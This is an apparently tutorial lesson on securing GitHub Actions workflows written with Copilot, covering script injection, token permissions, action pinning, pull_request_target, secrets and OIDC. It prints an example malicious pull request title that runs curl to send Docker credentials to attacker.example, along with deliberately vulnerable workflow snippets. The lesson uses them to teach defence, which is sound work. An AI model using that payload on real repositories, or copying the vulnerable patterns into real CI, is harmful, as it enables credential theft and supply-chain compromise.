GitHub Copilot for GitHub Actions
GitHub Actions is where the security consequences of a generated file are most concentrated, because a workflow runs with credentials, on infrastructure you do not control, triggered by events other people can cause.
Here is what actionlint 1.7.12 said about a plausible draft workflow:
draft/ci-draft.yml:15:33: "github.event.pull_request.title" is potentially
untrusted. avoid using it directly in inline scripts. instead, pass it through
an environment variable. [expression]
draft/ci-draft.yml:19:9: shellcheck reported issue in this script:
SC2086:info:1:17: Double quote to prevent globbing [shellcheck]Two findings — and the first one is genuinely excellent. Script injection through untrusted event data is the most dangerous Actions vulnerability there is, and actionlint catches it by default.
What it did not mention, in a file of twenty lines:
- No
permissions:block, soGITHUB_TOKENgets the repository default docker push myimage:latests— a typo that would publish a garbage tag$DOCKER_USERreferenced and never defined- A deploy step reachable from
pull_request, so a fork could trigger it - No
concurrency, notimeout-minutes
Key takeaways
- Anything under
github.eventthat a contributor controls — PR title, body, branch name, commit message — is untrusted input. Interpolating it into arun:script with${{ }}is command injection. - Set
permissions: contents: readat the workflow level and widen per job. Without it the token gets the repository default. - Pin every third-party action to a full commit SHA. A tag is a mutable pointer controlled by someone else.
pull_request_targetruns with a writable token and access to secrets, in the base repository’s context. Combining it with a checkout of the PR head is the classic compromise.- Use OIDC rather than stored cloud credentials. There is then no long-lived secret to leak.
Script injection, precisely
This is the vulnerability worth understanding in full, because the mechanism is not obvious and the fix is small.
- name: Comment on PR
run: |
echo "Building ${{ github.event.pull_request.title }}"${{ }} is template substitution performed before the shell runs. GitHub
takes the expression, evaluates it, and pastes the result into the script text.
The shell then receives whatever that produced.
So a pull request titled:
x"; curl -s https://attacker.example/$(cat $HOME/.docker/config.json); echo "produces a script that runs the attacker’s command. The pull request author needs no access to the repository — opening a PR is enough, and on a public repository that is anyone.
The fix is to pass the value through the environment, where the shell sees a variable rather than text it must parse:
- name: Describe the change
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
printf 'Building: %s\n' "${PR_TITLE:-push to ${GITHUB_REF_NAME}}"The substitution still happens, but into the environment block, where the value
is data. The script references "$PR_TITLE", quoted, and no amount of shell
metacharacters in the title changes what runs.
Permissions
GITHUB_TOKEN is minted per job, and what it can do depends on the
permissions: block — or, in its absence, on a repository or organisation
default that may well be read/write on everything.
permissions:
contents: readTwo lines at the workflow level, and every job inherits it. A job needing more declares it:
container:
permissions:
contents: read
packages: writeThe reason this matters more with generated workflows than with hand-written ones
is that suggestions omit the block entirely — it is not in most examples, because
most examples predate it or do not need it. A workflow with no permissions: and
a compromised third-party action has handed that action a token that can push to
your default branch.
The narrowest form is permissions: {}, which grants nothing. Worth using for
jobs that only run tests.
Pinning
- uses: actions/checkout@v7v7 is a tag, and tags are mutable. Whoever controls that repository can move it
to point at different code, and your workflow will run that code with your token
on your next push. This is not hypothetical; it is the shape of several
real supply-chain incidents.
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1A commit SHA is immutable. The trailing comment keeps it maintainable — without it, nobody can tell which version is pinned or whether it is current.
Practical project: a workflow that lints clean
Practical example
A CI workflow with least privilege, SHA pins and a gated deploy
A workflow actionlint and yamllint both pass, with the security controls explicit rather than inherited.
- Status
- Tested implementation
- Runtime
- actionlint 1.7.12, yamllint 1.38.0, hadolint 2.15.1, pytest 9.1.1
- Command
actionlint .github/workflows/ci.yml && yamllint .github/workflows/ && pytest && hadolint Dockerfile- Result
- actionlint: no findings, exit 0 (the draft produced 2). yamllint clean. pytest: 5 passed. hadolint: no findings. All four pinned action SHAs verified against the GitHub API as real commits matching their tags.
- Run on
- August 21, 2026
Files
copilot-actions-demo/ ├── src/app.py ├── tests/test_app.py ├── Dockerfile ├── draft/ci-draft.yml the first suggestion └── .github/ ├── copilot-instructions.md ├── instructions/ │ └── actions.instructions.md └── workflows/ └── ci.yml
The prompt
Create a GitHub Actions CI workflow for this Python project.
Requirements:
- permissions: contents: read at the workflow level, widened per job only where needed.
- concurrency with cancel-in-progress true.
- timeout-minutes on every job.
- Every third-party action pinned to a full commit SHA with the version in a trailing comment.
- persist-credentials false on checkout.
- Pin the runner image, not ubuntu-latest.
- Any github.event value used in a run block must be passed through env.
- A deploy job gated on main, on push only, behind a protected environment, using OIDC rather than a stored secret.
Then run actionlint and report every finding.
The workflow header
name: CI
on:
push:
branches: [main]
pull_request:
# Least privilege at the top level. Every job inherits this unless it narrows
# it further. Without this block the token's scopes come from the repository
# default, which on older repositories is read/write on everything.
permissions:
contents: read
# A second push to the same branch cancels the first. Without this, a busy
# branch queues runs that are already obsolete.
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: trueNote on: pull_request rather than pull_request_target. That is deliberate and
covered below.
The untrusted-input step, done correctly
- name: Describe the change
# The pull request title is attacker-controlled: anyone who can open a PR
# chooses it. Interpolating it into a shell script with ${{ }} is command
# injection. Passing it through the environment means the shell sees a
# variable, never a command.
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
printf 'Building: %s\n' "${PR_TITLE:-push to ${GITHUB_REF_NAME}}"The deploy gate
deploy:
needs: [test, container]
# Only from main, never from a pull request, and never from a fork.
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
# A protected environment. Deployment waits for a human to approve it, and
# the environment holds the credentials rather than the repository.
environment: production
concurrency:
group: deploy-production
cancel-in-progress: false
permissions:
contents: read
# Requested only in the job that needs it, so no other job's token can
# mint a cloud credential.
id-token: writeFive controls in ten lines, and each does a distinct job. needs means the tests
passed. The if means it cannot run from a pull request. environment means a
human approves and the secrets live there rather than in the repository.
concurrency with cancel-in-progress: false means two deploys queue rather
than one killing the other mid-flight. And id-token: write is scoped to this
job alone.
Observed output
$ actionlint draft/ci-draft.yml
2 findings — script injection via github.event.pull_request.title,
and a shellcheck SC2086 inside a run block
$ actionlint .github/workflows/ci.yml
(no output, exit 0)
$ yamllint .github/workflows/
(clean)Validation
Validate before deploying
GitHub Actions: the local validation sequence
| Step | Command | Executed here |
|---|---|---|
| Workflow lint | actionlint .github/workflows/*.yml | PASSNo findings on the final workflow; 2 findings on the draft, including script injection via github.event.pull_request.title |
| YAML lint | yamllint .github/workflows/ | PASSClean, with line-length raised to 120 and `on` allowed as a key |
| Run the workflow | git push | NOT RUNRunning the workflow requires pushing to GitHub. Nothing was pushed; the workflow is linted, not executed. |
actionlint is unusually good for a YAML linter. It type-checks expression
syntax, validates event and job keys against the schema, checks that a needs
reference exists, runs ShellCheck over run: blocks, and flags untrusted-input
interpolation. It is fast, it is a single binary, and there is no reason not to
run it on every pull request.
What it does not check is policy: whether the permissions: block is
appropriate, whether a third-party action should be trusted, or whether a deploy
job is reachable from an untrusted event. Those remain review items.
Where Copilot helps with workflows
Worth naming before the risks pile up further, because the value here is real.
Workflow structure from a description. “Run tests on three Python versions,
build a container, and gate deployment on main” produces a correct skeleton
quickly. The job graph, the needs relationships and the event configuration are
mechanical.
Matrix expansion. Writing out a matrix with include and exclude entries is
fiddly and error-prone by hand.
Expression syntax. ${{ }} expressions have their own functions —
contains, startsWith, fromJSON, hashFiles — and the precedence and
quoting rules are not memorable. This is exactly the profile of a task worth
delegating.
Translating a local command sequence into steps. The correspondence is mechanical, which makes the review a matter of checking the correspondence.
Explaining a workflow you inherited. Actions accumulate: a repository’s workflow directory typically contains something nobody currently on the team wrote, with conditions referencing events that no longer fire.
Reading a failed run’s logs. Dense, structured, and precisely the reading task a model does well.
The single thing it will not do unprompted is add the security controls. Every one of them — permissions, pinning, environment gating, OIDC — has to be asked for, which is why they belong in a path-specific instructions file rather than in each prompt.
Matrices, caching and artifacts
Three mechanics that generated workflows produce correctly and configure sub-optimally.
Matrices run the same job across a set of parameters. The default is
fail-fast: true, which cancels every remaining combination as soon as one
fails — good for fast feedback, bad when you wanted to know whether the failure
is specific to one version or affects all of them. Set it deliberately. And
max-parallel matters on a busy repository, because a twelve-entry matrix
occupies twelve runners.
The trap worth knowing: matrix values are interpolated into the job, so a matrix
that includes attacker-controlled data has the same injection problem as anything
else. fromJSON on an output derived from event data is the shape to look for.
Caching is where suggestions are most often wrong in a way that costs rather
than breaks. actions/cache restores by an exact key and falls back to
restore-keys prefixes. A key that does not include a hash of the lock file —
hashFiles('**/requirements.txt') — restores a stale cache forever, so the cache
appears to work and dependencies never update. Conversely a key that includes too
much never hits.
Two further points. The language setup actions have caching built in
(cache: pip, cache: npm), which is simpler than actions/cache and is what a
suggestion should use for dependencies. And caches are scoped: a branch can
restore the default branch’s cache but not the reverse, which is a security
boundary as well as a performance one.
Artifacts move data between jobs, since each job runs on a fresh machine.
Generated workflows frequently forget that entirely and assume a file written in
one job exists in the next. The things to configure: retention-days, because
the default retention costs storage; and awareness that artifacts from a fork’s
workflow are attacker-controlled data, so a workflow_run job that downloads and
executes one has recreated the pull_request_target problem by another route.
For passing a small value rather than a file, job outputs are the mechanism —
as the capstone does with the image digest.
Debugging a workflow
Actions debugging is slow because the loop is long: push, wait, read. Three things shorten it.
Read the annotations before the log. Failed steps produce annotations at the top of the run summary, and they usually name the problem. The full log is for when they do not.
Enable step debug logging by setting the ACTIONS_STEP_DEBUG repository
secret to true. It produces substantially more detail about expression
evaluation and input resolution, which is what you need when a condition is not
matching and you cannot see why.
Run it locally where you can. Most of a CI failure is the underlying command
failing, not Actions. Running the same command in the same container image
locally is faster than another push. act exists for running workflows locally
and is an approximation rather than an equivalent — useful for structure, not for
anything involving the token or the runner environment.
The prompt shape that works:
This workflow step failed. Here is the workflow file and the full log for the failing job, including the step’s exit code.
Tell me which of these it is: the command genuinely failed, an expression evaluated to something unexpected, a permission was missing, or an input was not passed between jobs.
Quote the line that supports your answer. Do not rewrite the workflow.
“Do not rewrite the workflow” matters as much here as in the Docker lesson. Asked to fix a workflow error, a model will frequently restructure the whole file, and reviewing sixty lines to fix one is a bad trade — especially in a file where the security controls are easy to lose in a rewrite.
One Actions-specific debugging note: a condition that never matches is usually an
expression type problem. if: github.event.pull_request.draft == false behaves
differently from if: ${{ !github.event.pull_request.draft }} when the field is
absent, and if conditions on strings compare as strings — 'true' and true
are not the same. This is where step debug logging earns its keep.
pull_request versus pull_request_target
This distinction causes more Actions compromises than anything else, and generated workflows reach for the dangerous one when asked to “comment on the PR” or “label pull requests”.
pull_request runs in the context of the merge commit, with a read-only
token for forks, and no access to secrets from a fork. This is the safe
default and it is what CI should use.
pull_request_target runs in the context of the base repository — your
default branch — with a writable token and full access to secrets. It
exists so that a workflow can label or comment on a fork’s PR, which requires
write access the fork context cannot have.
The compromise is the combination:
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@…
with:
ref: ${{ github.event.pull_request.head.sha }} # the fork's code
- run: npm install && npm test # executes itThat checks out an attacker’s code and runs it, in a job that holds a writable
token and every secret. npm install alone is sufficient — a lifecycle script in
the fork’s package.json executes during install.
Secrets
Four things about secrets that generated workflows get wrong.
Secrets are not available to fork pull requests — deliberately. A workflow
that needs one to run on a PR is a workflow that will fail on external
contributions, and the fix is to restructure rather than to switch to
pull_request_target.
Masking is textual and incomplete. GitHub redacts a secret’s exact value from logs. It does not redact a base64 encoding of it, a substring, or the result of transforming it — so a step that decodes a secret and prints the result has leaked it in plain text.
Never put a secret on a command line. docker login -p ${{ secrets.PASSWORD }} puts it in the process table and in any command trace. --password-stdin is
the form to insist on.
Prefer OIDC to a stored secret entirely. For cloud deployment there is no reason to keep a long-lived credential: the workflow requests a token, exchanges it for short-lived cloud credentials, and there is nothing to rotate. The mechanics are in the AWS, Azure and Google Cloud lessons, and in all three the control is the same: a trust condition naming the repository and ref.
Environments hold secrets better than repositories do. A secret on a protected environment is available only to jobs targeting that environment, which are the jobs that passed the approval gate.
Third-party actions
Every uses: is code you did not write, running in your job, with your token.
Beyond pinning, three questions worth asking of any action a suggestion introduces:
Who publishes it, and is it verified? GitHub marks verified creators.
An action from an unfamiliar account doing something a two-line run: step could
do is not a good trade.
What permissions does it need? An action that only reads should not be in a job with write scopes.
Could a run: step replace it? A large proportion of suggested actions wrap
a single CLI invocation. Writing the invocation removes a dependency and makes
the step readable.
For anything sensitive, vendoring — copying the action into your repository — is a legitimate option, and organisation-level allowlists let you restrict which actions may be used at all.
Reusable workflows and composite actions
Both are good for removing duplication and both have a review point that generated code misses.
Reusable workflows (workflow_call) run as a separate job and receive only
the inputs and secrets you pass. secrets: inherit passes all of them, which
is convenient and is exactly the thing to avoid — pass the two the workflow needs
by name.
Composite actions run as steps inside your job, which means they share the job’s token and environment. There is no isolation, so a composite action is only as trustworthy as its source.
The permission model matters here: a reusable workflow can declare its own
permissions:, but it cannot have more than the calling workflow grants. That is
a useful property — the caller’s block is a ceiling.
Actions-specific risks
Script injection. Covered above; the most serious.
Missing permissions:. The token gets whatever the repository default is.
Floating action tags. Mutable pointers controlled by someone else.
pull_request_target with a head checkout. The classic compromise.
Secrets echoed, encoded, or on a command line. Masking is textual.
Self-hosted runners on public repositories. A fork’s pull request can execute code on your runner, and the runner is a persistent machine rather than a fresh VM. Ephemeral runners, or no self-hosted runners on public repositories.
Untrusted artifacts. workflow_run downloading an artifact produced by a
fork’s workflow is downloading attacker-controlled data. Treat it as input, not
as code.
Caches shared across branches. A cache poisoned from a branch can be restored into a job on the default branch. Scope cache keys carefully.
Missing timeout-minutes. A hung job holds a runner for six hours by
default.
Destructive workflows
Review workflow
- Run actionlintCatches expression errors, shell issues inside run blocks, and untrusted-input interpolation.
- Read the triggerHuman judgementpull_request or pull_request_target? Does it check out PR code?
- Find the permissions blockHuman judgementIf there isn't one, the token gets the repository default. actionlint will not say so.
- Grep for github.event inside run blocksHuman judgementEach one is command injection unless it goes through env.
- Check every uses: is SHA-pinnedAnd verify the SHA matches the tag in the comment.
- Trace every secretHuman judgementWhere it comes from, where it goes, and whether OIDC would remove it.
- Check the deploy gateHuman judgementBranch condition, protected environment, scoped id-token, and concurrency that queues rather than cancels.
Steps marked Human judgement are the ones that do not get delegated — they are where you decide whether what Copilot produced is actually right.
Best practices
permissions: contents: readat workflow level, widened per job.- SHA-pin every third-party action, with the version in a comment, and let Dependabot maintain them.
- Never interpolate
github.eventinto arun:block. pull_requestunless you can explain why it is insufficient.- OIDC instead of stored cloud credentials.
timeout-minuteson every job andconcurrencyon the workflow.- Pin the runner image rather than using
ubuntu-latestwhere reproducibility matters. - Run actionlint in CI, and a security-focused linter alongside it.
Common mistakes
- Accepting a workflow with no
permissions:block because it works. - Using
pull_request_targetto get write access, then checking out the PR. - Pinning to
@v4and calling it pinned. - Passing
secrets: inheritto a reusable workflow. - Assuming secret masking protects a transformed or encoded value.
Where to go next
Build an AI-Powered CI/CD Pipeline is the capstone, and it assembles this workflow with the Docker, Terraform and Kubernetes validation from the rest of the cluster. GitHub Copilot IDE Workflow: From Idea to Pull Request covers the developer side of the same loop.
Sources
Every version-sensitive claim on this page was checked against first-party documentation. Only sources actually used are listed.
Your progress
Saved in this browser only. No account, no server, and nothing leaves your device. Clearing site data resets it.
Was this lesson helpful?
Your answer is stored in this browser and is not sent anywhere.